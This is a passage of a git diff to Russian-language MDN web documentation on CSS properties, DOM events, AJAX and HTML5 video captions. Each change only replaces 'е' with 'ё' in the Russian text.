a/files/ru/web/css/visibility/index.html b/files/ru/web/css/visibility/index.html index 3f3a053076..4d27fd4dc3 100644 --- a/files/ru/web/css/visibility/index.html +++ b/files/ru/web/css/visibility/index.html @@ -37,7 +37,7 @@ visibility: unset; <h3 id="Значения">Значения</h3> <ul> - <li>Для строк, столбцов, групп столбцов и групп строк в таблице, которые должны быть удалены (как с помощью <code>{{Cssxref("display")}}: none</code> примененного к столбцу/строке таблицы). Однако, размер других строк и столбцов должен продолжать вычисляться так, словно скрытые строки/столбцы присутствуют. Это создано для быстрого удаления строк/столбцов из таблицы без дополнительного вычисления ширины и высоты частей таблицы.</li> + <li>Для строк, столбцов, групп столбцов и групп строк в таблице, которые должны быть удалены (как с помощью <code>{{Cssxref("display")}}: none</code> применённого к столбцу/строке таблицы). Однако, размер других строк и столбцов должен продолжать вычисляться так, словно скрытые строки/столбцы присутствуют. Это создано для быстрого удаления строк/столбцов из таблицы без дополнительного вычисления ширины и высоты частей таблицы.</li> <li>Для XUL элементов размер всегда равен 0, независимо от других стилей, влияющих на размер, хотя отступы продолжают учитываться.</li> <li>Для других элементов <code>collapse</code> обрабатывается также, как <code>hidden</code></li> </ul> diff --git a/files/ru/web/css/visual_formatting_model/index.html b/files/ru/web/css/visual_formatting_model/index.html index 9faa4e62f5..6c756b85ba 100644 --- a/files/ru/web/css/visual_formatting_model/index.html +++ b/files/ru/web/css/visual_formatting_model/index.html @@ -18,7 +18,7 @@ original_slug: Web/Guide/CSS/Visual_formatting_model <li>другой внешней информацией.</li> </ul> -<p>Бокс отображается относительно краев <em>содержащего его блока. </em>Как правило, бокс определяет родительский блок для своих потомков. Однако, стоит заметить, что бокс не ограничен содержащим его блоком. Такое поведение слоев, выходящих за пределы своих содержащих блоков, называется <em>переполнением</em> (<em>overflow).</em></p> +<p>Бокс отображается относительно краёв <em>содержащего его блока. </em>Как правило, бокс определяет родительский блок для своих потомков. Однако, стоит заметить, что бокс не ограничен содержащим его блоком. Такое поведение слоёв, выходящих за пределы своих содержащих блоков, называется <em>переполнением</em> (<em>overflow).</em></p> <h2 id="Генерация_бокса">Генерация бокса</h2> diff --git a/files/ru/web/css/white-space/index.html b/files/ru/web/css/white-space/index.html index 7cd0e47ec5..a751f353b6 100644 --- a/files/ru/web/css/white-space/index.html +++ b/files/ru/web/css/white-space/index.html @@ -62,7 +62,7 @@ white-space: unset; </dd> </dl> -<p>В приведенной ниже таблице указано поведение различных значений свойства <code>white-space</code>:</p> +<p>В приведённой ниже таблице указано поведение различных значений свойства <code>white-space</code>:</p> <table class="standard-table"> <thead> diff --git a/files/ru/web/css/will-change/index.html b/files/ru/web/css/will-change/index.html index 916c5d4263..cb52d6e9b0 100644 --- a/files/ru/web/css/will-change/index.html +++ b/files/ru/web/css/will-change/index.html @@ -26,16 +26,16 @@ will-change: unset;</code></pre> <ul> <li> - <p id="Don't_apply_will-change_to_too_many_elements"><em>Не применяйте will-change к большому числу элементов.</em> Браузер и так пытается изо всех сил всё оптимизировать. Некоторые тяжелые оптимизации ссылающиеся на <code>will-change</code> используют много аппаратных мощностей, и если злоупотреблять этим, это может привести к замедлению работы страницы и потреблению большого количества ресурсов.</p> + <p id="Don't_apply_will-change_to_too_many_elements"><em>Не применяйте will-change к большому числу элементов.</em> Браузер и так пытается изо всех сил всё оптимизировать. Некоторые тяжёлые оптимизации ссылающиеся на <code>will-change</code> используют много аппаратных мощностей, и если злоупотреблять этим, это может привести к замедлению работы страницы и потреблению большого количества ресурсов.</p> </li> <li> <p><em>Используйте умеренно.</em> Обычное поведение для оптимизаций которые выполняет браузер, удалить оптимизацию как можно скорее и вернуть нормальное состояние. Но добавление <code>will-change</code> прямо в файле стилей предполагает, что указанный элемент всегда находится в нескольких шагах от изменений и браузер будет сохранять для него оптимизацию гораздо больше времени. Так что, было бы хорошо включать и отключать <code>will-change</code> используя скрипт до и после того как произошли изменения.</p> </li> <li> - <p><em>Не применяйте will-change к элементам для выполнения преждевременной оптимизации</em>. Если ваша страница хорошо отрабатывается, не применяйте <code>will-change</code> свойство к элементу только чтобы выжать немного больше скорости. <code>will-change</code> предназначен для использования в крайнем случае, для того чтобы исправить существующие проблемы оптимизации. Его не следует использовать для предвидения проблем оптимизации. Чрезмерное использование <code>will-change</code> приведет к излишнему потреблению памяти и вызовет более тяжелый рендеринг так как браузер будет пытаться подготовиться к возможным изменениям. Это приведет к ухудшению производительности.</p> + <p><em>Не применяйте will-change к элементам для выполнения преждевременной оптимизации</em>. Если ваша страница хорошо отрабатывается, не применяйте <code>will-change</code> свойство к элементу только чтобы выжать немного больше скорости. <code>will-change</code> предназначен для использования в крайнем случае, для того чтобы исправить существующие проблемы оптимизации. Его не следует использовать для предвидения проблем оптимизации. Чрезмерное использование <code>will-change</code> приведёт к излишнему потреблению памяти и вызовет более тяжёлый рендеринг так как браузер будет пытаться подготовиться к возможным изменениям. Это приведёт к ухудшению производительности.</p> </li> <li> - <p id="Give_it_sufficient_time_to_work"><em>Дайте ему достаточно времени, чтобы работать</em>. Это свойство дает автору способ указать пользовательскому агенту свойства, которые могут измениться в будущем. Затем браузер может применить любые предварительные оптимизации, необходимые для изменения свойств до того, когда эти свойства изменятся. Поэтому важно дать браузеру некоторое время, чтобы провести оптимизацию. Найдите способ предсказать изменение хотя бы немного заранее, что-то изменится, и затем установите изменение.</p> + <p id="Give_it_sufficient_time_to_work"><em>Дайте ему достаточно времени, чтобы работать</em>. Это свойство даёт автору способ указать пользовательскому агенту свойства, которые могут измениться в будущем. Затем браузер может применить любые предварительные оптимизации, необходимые для изменения свойств до того, когда эти свойства изменятся. Поэтому важно дать браузеру некоторое время, чтобы провести оптимизацию. Найдите способ предсказать изменение хотя бы немного заранее, что-то изменится, и затем установите изменение.</p> </li> </ul> @@ -58,7 +58,7 @@ will-change: unset;</code></pre> <dt><code>contents</code></dt> <dd>Указывает, что автор ожидает анимацию или изменение чего то в контенте элемента в ближайшем будущем.</dd> <dt>{{cssxref("custom-ident", "<custom-ident>")}}</dt> - <dd>Указывает, что автор ожидает анимацию или изменить свойства с заданным именем в элементе в ближайшем будущем . Если заданное свойство-это сокращенная запись, тогда оно указывает на все полные записи свойств, на которые указывает сокращенная запись. Это не может быть одним из следующих значений: <code>unset</code>, <code>initial</code>, <code>inherit</code>, <code>will-change</code>, <code>auto</code>, <code>scroll-position</code>, или <code>contents</code>. </dd> + <dd>Указывает, что автор ожидает анимацию или изменить свойства с заданным именем в элементе в ближайшем будущем . Если заданное свойство-это сокращённая запись, тогда оно указывает на все полные записи свойств, на которые указывает сокращённая запись. Это не может быть одним из следующих значений: <code>unset</code>, <code>initial</code>, <code>inherit</code>, <code>will-change</code>, <code>auto</code>, <code>scroll-position</code>, или <code>contents</code>. </dd> </dl> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/css/word-spacing/index.html b/files/ru/web/css/word-spacing/index.html index 0bd210c64b..495aa1889c 100644 --- a/files/ru/web/css/word-spacing/index.html +++ b/files/ru/web/css/word-spacing/index.html @@ -37,7 +37,7 @@ word-spacing: unset; <dl> <dt><code>normal</code></dt> - <dd>Нормальный интервал между словами, определенный текущим шрифтом и/или браузером.</dd> + <dd>Нормальный интервал между словами, определённый текущим шрифтом и/или браузером.</dd> <dt>{{cssxref("length")}}</dt> <dd>Определяет дополнительный интервал в дополнение к внутреннему интервалу между словами, определяемому шрифтом.</dd> <dt>{{cssxref("percentage")}}</dt> @@ -71,7 +71,7 @@ word-spacing: unset; <p>Большое положительное или отрицательное значение <code>word-spacing</code> может сделать предложения, к которым применяется стиль, нечитаемыми. Для текста, стилизованного с очень большими положительными значениями, слова будут так далеки друг от друга, что он больше не будет казаться предложением. Для текста, стилизованного с очень большими отрицательными значениями, слова будут перекрывать друг от друга до точки, где начало и конец каждого слова будут неразличимы.</p> -<p>Разборчивый <code>word-spacing</code> должен быть определен в каждом конкретном случае, так как различные семейства шрифтов имеют различную ширину символов. Нет ни одного значения, которое может обеспечить для всех семейств шрифтов автоматическое сохранение разборчивости.</p> +<p>Разборчивый <code>word-spacing</code> должен быть определён в каждом конкретном случае, так как различные семейства шрифтов имеют различную ширину символов. Нет ни одного значения, которое может обеспечить для всех семейств шрифтов автоматическое сохранение разборчивости.</p> <ul> <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li> @@ -92,7 +92,7 @@ word-spacing: unset; <tr> <td>{{SpecName('CSS3 Text', '#propdef-word-spacing', 'word-spacing')}}</td> <td>{{Spec2('CSS3 Text')}}</td> - <td>Заменяет предыдущее значение значением <code><spacing-limit></code>, которое определяет те же вещи, плюс значение <code><percentage></code>. Позволяет использовать до трех значений, описывающих оптимальное, минимальное и максимальное значение.</td> + <td>Заменяет предыдущее значение значением <code><spacing-limit></code>, которое определяет те же вещи, плюс значение <code><percentage></code>. Позволяет использовать до трёх значений, описывающих оптимальное, минимальное и максимальное значение.</td> </tr> <tr> <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'word-spacing')}}</td> diff --git a/files/ru/web/events/index.html b/files/ru/web/events/index.html index c760122766..a796d5ade0 100644 --- a/files/ru/web/events/index.html +++ b/files/ru/web/events/index.html @@ -15,7 +15,7 @@ translation_of: Web/Events <p>Эта статья содержит список событий, которые могут быть отправлены; некоторые стандартные события определены в официальной документации, тогда как другие события являются специфичными для конкретных браузеров. Для примера, в списке приведены специфические для браузера Mozilla события, которые позволяют использовать add-ons для взаимодействия с браузером.</p> -<h2 id="Наиболее_распространенные_категории">Наиболее распространенные категории</h2> +<h2 id="Наиболее_распространённые_категории">Наиболее распространённые категории</h2> <table class="standard-table"> <caption> @@ -294,7 +294,7 @@ translation_of: Web/Events <tbody> <tr> <td>{{Event("fullscreenchange")}}</td> - <td>Элемент был переведен в полноэкранный режим или обратно в нормальный режим.</td> + <td>Элемент был переведён в полноэкранный режим или обратно в нормальный режим.</td> </tr> <tr> <td>{{Event("fullscreenerror")}}</td> @@ -386,7 +386,7 @@ translation_of: Web/Events </tr> <tr> <td>{{Event("dblclick")}}</td> - <td>На элементе дважды щелкается кнопка указывающего устройства.</td> + <td>На элементе дважды щёлкается кнопка указывающего устройства.</td> </tr> <tr> <td>{{Event("mousedown")}}</td> @@ -394,11 +394,11 @@ translation_of: Web/Events </tr> <tr> <td>{{Event("mouseenter")}}</td> - <td>Указывающее устройство перемещено на элемент, к которому подключен обработчик.</td> + <td>Указывающее устройство перемещено на элемент, к которому подключён обработчик.</td> </tr> <tr> <td>{{Event("mouseleave")}}</td> - <td>Указывающее устройство перемещается от элемента, к которому подключен обработчик.</td> + <td>Указывающее устройство перемещается от элемента, к которому подключён обработчик.</td> </tr> <tr> <td>{{Event("mousemove")}}</td> @@ -408,11 +408,11 @@ translation_of: Web/Events <td> <h5 id="Eventmouseover">{{Event("mouseover")}}</h5> </td> - <td>Указывающее устройство перемещается на элемент, к которому подключен обработчик, или на один из его дочерних элементов.</td> + <td>Указывающее устройство перемещается на элемент, к которому подключён обработчик, или на один из его дочерних элементов.</td> </tr> <tr> <td>{{Event("mouseout")}}</td> - <td>Указывающее устройство перемещается от элемента, к которому подключен обработчик, или от одного из его дочерних элементов.</td> + <td>Указывающее устройство перемещается от элемента, к которому подключён обработчик, или от одного из его дочерних элементов.</td> </tr> <tr> <td>{{Event("mouseup")}}</td> @@ -649,7 +649,7 @@ translation_of: Web/Events <code><a href="/en-US/docs/Web/API/EventSource/open_event">open</a></code><br> <code><a href="/en-US/docs/Web/API/Element/show_event">show</a></code></p> -<h2 id="Менее_распространенные_и_нестандартные_события">Менее распространенные и нестандартные события</h2> +<h2 id="Менее_распространённые_и_нестандартные_события">Менее распространённые и нестандартные события</h2> <h3 id="Abortable_Fetch_события">Abortable Fetch события</h3> diff --git a/files/ru/web/guide/ajax/getting_started/index.html b/files/ru/web/guide/ajax/getting_started/index.html index 56e8a80a0b..aee30a7337 100644 --- a/files/ru/web/guide/ajax/getting_started/index.html +++ b/files/ru/web/guide/ajax/getting_started/index.html @@ -23,7 +23,7 @@ original_slug: Web/Guide/AJAX/С_чего_начать <h3 id=".D0.A8.D0.B0.D0.B3_1.C2.A0.E2.80.94_.D0.9A.D0.B0.D0.BA_.D0.BF.D0.BE.D1.81.D0.BB.D0.B0.D1.82.D1.8C_HTTP_.D0.B7.D0.B0.D0.BF.D1.80.D0.BE.D1.81" name=".D0.A8.D0.B0.D0.B3_1.C2.A0.E2.80.94_.D0.9A.D0.B0.D0.BA_.D0.BF.D0.BE.D1.81.D0.BB.D0.B0.D1.82.D1.8C_HTTP_.D0.B7.D0.B0.D0.BF.D1.80.D0.BE.D1.81">Шаг 1 — Как послать HTTP запрос</h3> -<p>Для того, чтобы послать HTTP запрос на сервер используя JavaScript, вам необходим экземпляр класса, который позволит это сделать. Такой класс впервые был введен в Internet Explorer как объект ActiveX, называемый <code>XMLHTTP</code>. Позже в Mozilla, Safari и другие браузеры был введен класс <code>XMLHttpRequest</code>, который поддерживал методы и свойства изначального объекта ActiveX от Microsoft.</p> +<p>Для того, чтобы послать HTTP запрос на сервер используя JavaScript, вам необходим экземпляр класса, который позволит это сделать. Такой класс впервые был введён в Internet Explorer как объект ActiveX, называемый <code>XMLHTTP</code>. Позже в Mozilla, Safari и другие браузеры был введён класс <code>XMLHttpRequest</code>, который поддерживал методы и свойства изначального объекта ActiveX от Microsoft.</p> <p>В результате, чтобы создать кросс-браузерный объект требуемого класса, вы можете сделать следующее:</p> @@ -35,7 +35,7 @@ if (window.XMLHttpRequest) { // Mozilla, Safari, ... } </pre> -<p>(В целях наглядности, код выше является немного упрощенным. Более жизненный пример будет рассмотрен в шаге 3 этой статьи)</p> +<p>(В целях наглядности, код выше является немного упрощённым. Более жизненный пример будет рассмотрен в шаге 3 этой статьи)</p> <p>Некоторые версии некоторых броузеров Mozilla не будут корректно работать, если ответ сервера не содержит заголовка XML <code>mime-type</code>. Чтобы решить эту проблему, вы можете использовать вызовы дополнительных методов для переопределения заголовка полученного от сервера, если он отличен от <code>text/xml</code>.</p> @@ -43,11 +43,11 @@ if (window.XMLHttpRequest) { // Mozilla, Safari, ... httpRequest.overrideMimeType('text/xml'); </pre> -<p>Далее вам необходимо решить, что вы будете делать после получения ответа сервера. На этом этапе вам необходимо указать объекту, какая JavaScript функция будет обрабатывать ответ. Это делается путем присваивания свойству <code>onreadystatechange</code> имени JavaScript функции, которую вы собираетесь использовать:</p> +<p>Далее вам необходимо решить, что вы будете делать после получения ответа сервера. На этом этапе вам необходимо указать объекту, какая JavaScript функция будет обрабатывать ответ. Это делается путём присваивания свойству <code>onreadystatechange</code> имени JavaScript функции, которую вы собираетесь использовать:</p> <p><code>httpRequest.onreadystatechange = nameOfTheFunction;</code></p> -<p>Заметьте, что после названия функции нет скобок и не указано параметров, потому что вы просто присваиваете ссылку на функцию, а не вызываете ее. К тому же, вместо указания имени функции, вы можете использовать возможность JavaScript объявлять функции на лету (так называемые «анонимные функции») и указывать действия, которые тотчас же будут обрабатывать ответ:</p> +<p>Заметьте, что после названия функции нет скобок и не указано параметров, потому что вы просто присваиваете ссылку на функцию, а не вызываете её. К тому же, вместо указания имени функции, вы можете использовать возможность JavaScript объявлять функции на лету (так называемые «анонимные функции») и указывать действия, которые тотчас же будут обрабатывать ответ:</p> <pre>httpRequest.onreadystatechange = function(){ // какой-нибудь код @@ -62,7 +62,7 @@ httpRequest.send(null); <ul> <li>Первый параметр вызова функции <code>open()</code> — метод HTTP запроса (GET, POST, HEAD или любой другой метод, который вы хотите использовать). Используйте методы в соответствии с HTTP стандартами, иначе некоторые браузеры (такие как Firefox) могут не обработать запрос. Информация о допустимых HTTP запросах доступна по адресу <a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html">спецификации W3C</a></li> - <li>Второй параметр — URL запрашиваемой страницы. Из соображений безопасности возможность запрашивать страницы сторонних доменов недоступна. Убедитесь, что вы используете одинаковое доменное имя на всех страницах, иначе вы получите ошибку 'доступ запрещен' при вызове функции <code>open()</code>. Типичной ошибкой при доступе к сайту через <code>site.ru</code> является отправка запроса на <code>www.site.ru</code>.</li> + <li>Второй параметр — URL запрашиваемой страницы. Из соображений безопасности возможность запрашивать страницы сторонних доменов недоступна. Убедитесь, что вы используете одинаковое доменное имя на всех страницах, иначе вы получите ошибку 'доступ запрещён' при вызове функции <code>open()</code>. Типичной ошибкой при доступе к сайту через <code>site.ru</code> является отправка запроса на <code>www.site.ru</code>.</li> <li>Третий параметр указывает, является ли запрос асинхронным. Если он <code>TRUE</code>, то выполнение JavaScript продолжится во время ожидания ответа сервера. В этом и заключается асинхронность технологии.</li> </ul> @@ -88,7 +88,7 @@ httpRequest.send(null); <pre>if (httpRequest.readyState == 4) { // все в порядке, ответ получен } else { - // все еще не готово + // все ещё не готово } </pre> @@ -124,7 +124,7 @@ httpRequest.send(null); <h3 id=".D0.A8.D0.B0.D0.B3_3.C2.A0.E2.80.94_.D0.9F.D1.80.D0.BE.D1.81.D1.82.D0.BE.D0.B9_.D0.BF.D1.80.D0.B8.D0.BC.D0.B5.D1.80" name=".D0.A8.D0.B0.D0.B3_3.C2.A0.E2.80.94_.D0.9F.D1.80.D0.BE.D1.81.D1.82.D0.BE.D0.B9_.D0.BF.D1.80.D0.B8.D0.BC.D0.B5.D1.80">Шаг 3 — Простой пример</h3> -<p>Давайте соберем все вместе и сделаем простой пример HTTP-запроса. Наш JavaScript запросит HTML документ <code>test.html</code>, который содержит текст "I'm a test." и выведет содержимое файла в диалоговом окне.</p> +<p>Давайте соберём все вместе и сделаем простой пример HTTP-запроса. Наш JavaScript запросит HTML документ <code>test.html</code>, который содержит текст "I'm a test." и выведет содержимое файла в диалоговом окне.</p> <pre><script type="text/javascript" language="javascript"> function makeRequest(url) { @@ -181,7 +181,7 @@ httpRequest.send(null); <ul> <li>Пользователь нажимает на ссылку "Сделать запрос" в броузере;</li> <li>Это вызывает функцию <code>makeRequest()</code> с параметром <code>test.html</code> — именем HTML файла;</li> - <li>Посылается запрос, после чего (<code>onreadystatechange</code>) выполнение передается <code>alertContents()</code>;</li> + <li>Посылается запрос, после чего (<code>onreadystatechange</code>) выполнение передаётся <code>alertContents()</code>;</li> <li><code>alertContents()</code> проверяет получен ли ответ и все ли с ним в порядке, после чего содержимое файла <code>test.html</code> выводится в диалоговом окне.</li> </ul> @@ -191,7 +191,7 @@ httpRequest.send(null); <p><strong>Замечание 2</strong>: Если вы посылаете запрос не на статический XML-файл, а на серверный скрипт, возвращающий XML, то нужно установить некоторые заголовки ответа, если вы планируете сделать вашу страницу работоспособной в Internet Explorer помимо Mozilla. Если вы не установите заголовок <code>Content-Type: application/xml</code>, IE будет сообщать об ошибке JavaScript, 'Object Expected', после строки, где вы пытаетесь получить доступ к XML элементу. Если вы не установите заголовок <code>Cache-Control: no-cache</code> броузер будет кэшировать ответ и никогда не будет повторно отправлять запрос, что сделает отладку весьма «забавной».</p> -<p><strong>Замечание 3</strong>: Если переменная <code>httpRequest</code> используется глобально, то конкурирующие функции, вызывающие <code>makeRequest()</code> могут конкурировать друг с другом, вызывая состязания. Объявление переменной <code>httpRequest</code> локально в функции и передача ее в <code>alertContent()</code> предотвращает состязания.</p> +<p><strong>Замечание 3</strong>: Если переменная <code>httpRequest</code> используется глобально, то конкурирующие функции, вызывающие <code>makeRequest()</code> могут конкурировать друг с другом, вызывая состязания. Объявление переменной <code>httpRequest</code> локально в функции и передача её в <code>alertContent()</code> предотвращает состязания.</p> <p><strong>Замечание 4</strong>: При привязывании колбэк-функции к <code>onreadystatechange</code> нельзя указать аргументы. По этой причине не работает следующий код:</p> @@ -252,7 +252,7 @@ var root_node = xmldoc.getElementsByTagName('root').item(0); alert(root_node.firstChild.data); </pre> -<p>Этот код берет объект <code>XMLDocument</code>, возвращаемый <code>responseXML</code> и использует методы DOM для доступа к данным, содержащимся в документе XML. Посмотреть <code>test.xml</code> можно <a class="external" href="http://www.akvi.ru/mozdev/test.xml" rel="follow">здесь</a>, а обновленный скрипт <a class="external" href="http://www.akvi.ru/mozdev/httprequest_test_xml.html" rel="follow">здесь</a>.</p> +<p>Этот код берет объект <code>XMLDocument</code>, возвращаемый <code>responseXML</code> и использует методы DOM для доступа к данным, содержащимся в документе XML. Посмотреть <code>test.xml</code> можно <a class="external" href="http://www.akvi.ru/mozdev/test.xml" rel="follow">здесь</a>, а обновлённый скрипт <a class="external" href="http://www.akvi.ru/mozdev/httprequest_test_xml.html" rel="follow">здесь</a>.</p> <p>Чтобы узнать больше о методах DOM, посмотрите <a class="external" href="http://www.mozilla.org/docs/dom/">реализация DOM в Mozilla</a>.</p> diff --git a/files/ru/web/guide/ajax/index.html b/files/ru/web/guide/ajax/index.html index 7cf72beec7..25b4e612df 100644 --- a/files/ru/web/guide/ajax/index.html +++ b/files/ru/web/guide/ajax/index.html @@ -31,7 +31,7 @@ translation_of: Web/Guide/AJAX <dl> <dt><a class="external" href="http://www.onlamp.com/pub/a/onlamp/2005/05/19/xmlhttprequest.html">Простой путь Ajax</a></dt> - <dd><small>"Как это оказывается, довольно легко использовать в своих интересах объект XML-HttpRequest сделает акт приложений сети больше как настольное приложение, все еще используя традиционные инструменты , сеть формируется для того, чтобы собрать пользовательский вход."</small></dd> + <dd><small>"Как это оказывается, довольно легко использовать в своих интересах объект XML-HttpRequest сделает акт приложений сети больше как настольное приложение, все ещё используя традиционные инструменты , сеть формируется для того, чтобы собрать пользовательский вход."</small></dd> </dl> <dl> diff --git a/files/ru/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.html b/files/ru/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.html index 2fc93f687e..667568c42a 100644 --- a/files/ru/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.html +++ b/files/ru/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.html @@ -7,13 +7,13 @@ translation_of: >- --- <div class="summary"> <blockquote> -<p><span class="seoSummary">В других статьях мы рассмотрели как <a href="https://developer.mozilla.org/en-US/Apps/Build/Manipulating_media/cross_browser_video_player">создать cross browser видео плеер</a> используя {{ domxref("HTMLMediaElement") }} и {{ domxref("Window.fullScreen") }} APIs, а так-же как <a href="https://developer.mozilla.org/en-US/Apps/Build/Manipulating_media/Video_player_styling_basics">стилизовать плеер</a>. В этой статье мы возьмем тот же плеер и покажем как добавить подписи и субтитры, используя {{ domxref("Web_Video_Text_Tracks_Format","the WebVTT format") }} и {{ htmlelement("track") }} элемент.</span></p> +<p><span class="seoSummary">В других статьях мы рассмотрели как <a href="https://developer.mozilla.org/en-US/Apps/Build/Manipulating_media/cross_browser_video_player">создать cross browser видео плеер</a> используя {{ domxref("HTMLMediaElement") }} и {{ domxref("Window.fullScreen") }} APIs, а так-же как <a href="https://developer.mozilla.org/en-US/Apps/Build/Manipulating_media/Video_player_styling_basics">стилизовать плеер</a>. В этой статье мы возьмём тот же плеер и покажем как добавить подписи и субтитры, используя {{ domxref("Web_Video_Text_Tracks_Format","the WebVTT format") }} и {{ htmlelement("track") }} элемент.</span></p> </blockquote> </div> <h2 id="Пример_видео_с_подписями">Пример видео с подписями</h2> -<p>В этой статье мы сошлемся на пример плеера с подписями. Этот пример использует отрывок из <a href="http://www.sintel.org/">Sintel open movie</a>, созданного <a href="http://www.blender.org/foundation/">Blender Foundation</a>.</p> +<p>В этой статье мы сошлёмся на пример плеера с подписями. Этот пример использует отрывок из <a href="http://www.sintel.org/">Sintel open movie</a>, созданного <a href="http://www.blender.org/foundation/">Blender Foundation</a>.</p> <p><img alt='Video player with stand controls such as play, stop, volume, and captions on and off. The video playing shows a scene of a man holding a spear-like weapon, and a caption reads "Esta hoja tiene pasado oscuro."' src="https://mdn.mozillademos.org/files/7887/video-player-with-captions.png" style="display: block; height: 365px; margin: 0px auto; width: 593px;"></p> @@ -29,7 +29,7 @@ translation_of: >- <p><a href="http://web.archive.org/web/20160117160743/http://screenfont.ca/learn/">Подписи и субтитры не одно и тоже</a>: они имеют существенные различия для зрителя, и передают различную информацию, мы рекомендуем ознакомится с различиями, если вы не уверены, что они есть. Однако технически они реализуются одинаково, поэтому материал в нашей статье применим к обоим.</p> -<p>В этой статье мы сошлемся на text tracks, отображаемые как субтистры, т.к их контент направлен на слышащих людей, со сложностью понимания языка в фильме, а не на людей с плохим или отсутствием слуха.</p> +<p>В этой статье мы сошлёмся на text tracks, отображаемые как субтистры, т.к их контент направлен на слышащих людей, со сложностью понимания языка в фильме, а не на людей с плохим или отсутствием слуха.</p> <h3 id="Элемент_<track>">Элемент <track> </h3> @@ -37,7 +37,7 @@ translation_of: >- <h3 id="WebVTT">WebVTT</h3> -<p>Файлы содержащие данные о субтитрах - это простой текстовый файл, который следует специальному формату, такому как <a href="https://developer.mozilla.org/en-US/docs/HTML/WebVTT">Web Video Text Tracks</a> (WebVTT) формат. <a href="http://dev.w3.org/html5/webvtt/">WebVTT specification</a> всё еще работает, по этому основные его части стабильны и мы можем использовать их сегодня. </p> +<p>Файлы содержащие данные о субтитрах - это простой текстовый файл, который следует специальному формату, такому как <a href="https://developer.mozilla.org/en-US/docs/HTML/WebVTT">Web Video Text Tracks</a> (WebVTT) формат. <a href="http://dev.w3.org/html5/webvtt/">WebVTT specification</a> всё ещё работает, по этому основные его части стабильны и мы можем использовать их сегодня. </p> <p>Поставщики видео контента (такие как <a href="http://www.blender.org/foundation/">Blender Foundation</a>) предоставляют и подписи и субтитры в текстовом формате с их видео, но они обычно в SubRip Text (SRT) формате. Этот формат может быть легко переконвертирован в WebVTT, используя online конвертер например такой как <a href="https://atelier.u-sub.net/srt2vtt/">srt2vtt</a>.</p> @@ -123,15 +123,15 @@ translation_of: >- video.textTracks[i].mode = 'hidden'; }</pre> -<p>Свойство <code>video.textTracks</code> содержит массив всех текстовых треков, присоединенных к видео. Мы проходим по каждому и устанавливаем его <code>mode</code> в <code>hidden</code></p> +<p>Свойство <code>video.textTracks</code> содержит массив всех текстовых треков, присоединённых к видео. Мы проходим по каждому и устанавливаем его <code>mode</code> в <code>hidden</code></p> -<p>Примечание: <a href="http://dev.w3.org/html5/webvtt/#api">WebVTT API</a> дает нам доступ ко всем текстовым трекам, что определены в HTML5 video, c помощью элемента <code><track></code></p> +<p>Примечание: <a href="http://dev.w3.org/html5/webvtt/#api">WebVTT API</a> даёт нам доступ ко всем текстовым трекам, что определены в HTML5 video, c помощью элемента <code><track></code></p> <h3 id="Building_a_caption_menu">Building a caption menu</h3> <p>Наша цель - это использовать кнопку <code>subtitles</code> , которую мы добавили ранее, чтобы дать возможность пользователю выбрать тот язык, который он хочет или полностью отключить субтитры.</p> -<p>Мы добавили кнопку, но перед тем как что-то сделать, мы должны создать меню, которое с ней идет. Это меню создается динамически, т.к языки могут быть добавлены или удалены после, простым редактированием элементов <code><track></code> в разметке видео.</p> +<p>Мы добавили кнопку, но перед тем как что-то сделать, мы должны создать меню, которое с ней идёт. Это меню создаётся динамически, т.к языки могут быть добавлены или удалены после, простым редактированием элементов <code><track></code> в разметке видео.</p> <p>Все что нам необходимо сделать - это пройти через <code>textTracks</code>, читая их свойства и строя меню из них:</p> diff --git a/files/ru/web/guide/audio_and_video_delivery/buffering_seeking_time_ranges/index.html b/files/ru/web/guide/audio_and_video_delivery/buffering_seeking_time_ranges/index.html index e4d2637356..8eae6fbe73 100644 --- a/files/ru/web/guide/audio_and_video_delivery/buffering_seeking_time_ranges/index.html +++ b/files/ru/web/guide/audio_and_video_delivery/buffering_seeking_time_ranges/index.html @@ -211,6 +211,6 @@ myAudio.buffered.end(1); // returns 19</pre> <p>Надо заметить, что есть свойство <code>played</code>, сообщающее, были ли воспроизведены интервалы полностью. Пример:</p> -<pre class="brush: js">var played = audio.played; // вернет объект TimeRanges</pre> +<pre class="brush: js">var played = audio.played; // вернёт объект TimeRanges</pre> <p>Если просуммировать все интервалы <code>audio.played</code>, то получим долю прослушанного аудио, что может быть полезно для сбора метрик.</p> diff --git a/files/ru/web/guide/css/block_formatting_context/index.html b/files/ru/web/guide/css/block_formatting_context/index.html index 0114b27893..4c529df53a 100644 --- a/files/ru/web/guide/css/block_formatting_context/index.html +++ b/files/ru/web/guide/css/block_formatting_context/index.html @@ -43,7 +43,7 @@ translation_of: Web/Guide/CSS/Block_formatting_context <p>Давайте рассмотрим пару примеров, чтобы рассмотреть эффект от создания нового блочного контекста форматирования.</p> -<p>В примере ниже мы имеем плавающий элемент внутри <code><</code><code>div></code> с заданным <code>border</code>. Содержимое этого <code><div></code> обтекает плавающий элемент. Так как содержимое <code>float</code> выше, чем остальное содержимое, обтекающее его, <code>border</code> элемента <code>div</code> теперь проходит сквозь <code>float</code>. Как объясняется в руководстве <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow">In Flow and Out of Flow</a>, плавающий элемент был исключен из потока элементов, так что фон и граница <code>div</code> включает только его содержимое, но не элемент <code>float</code>. </p> +<p>В примере ниже мы имеем плавающий элемент внутри <code><</code><code>div></code> с заданным <code>border</code>. Содержимое этого <code><div></code> обтекает плавающий элемент. Так как содержимое <code>float</code> выше, чем остальное содержимое, обтекающее его, <code>border</code> элемента <code>div</code> теперь проходит сквозь <code>float</code>. Как объясняется в руководстве <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow">In Flow and Out of Flow</a>, плавающий элемент был исключён из потока элементов, так что фон и граница <code>div</code> включает только его содержимое, но не элемент <code>float</code>. </p> <p>{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/float.html", 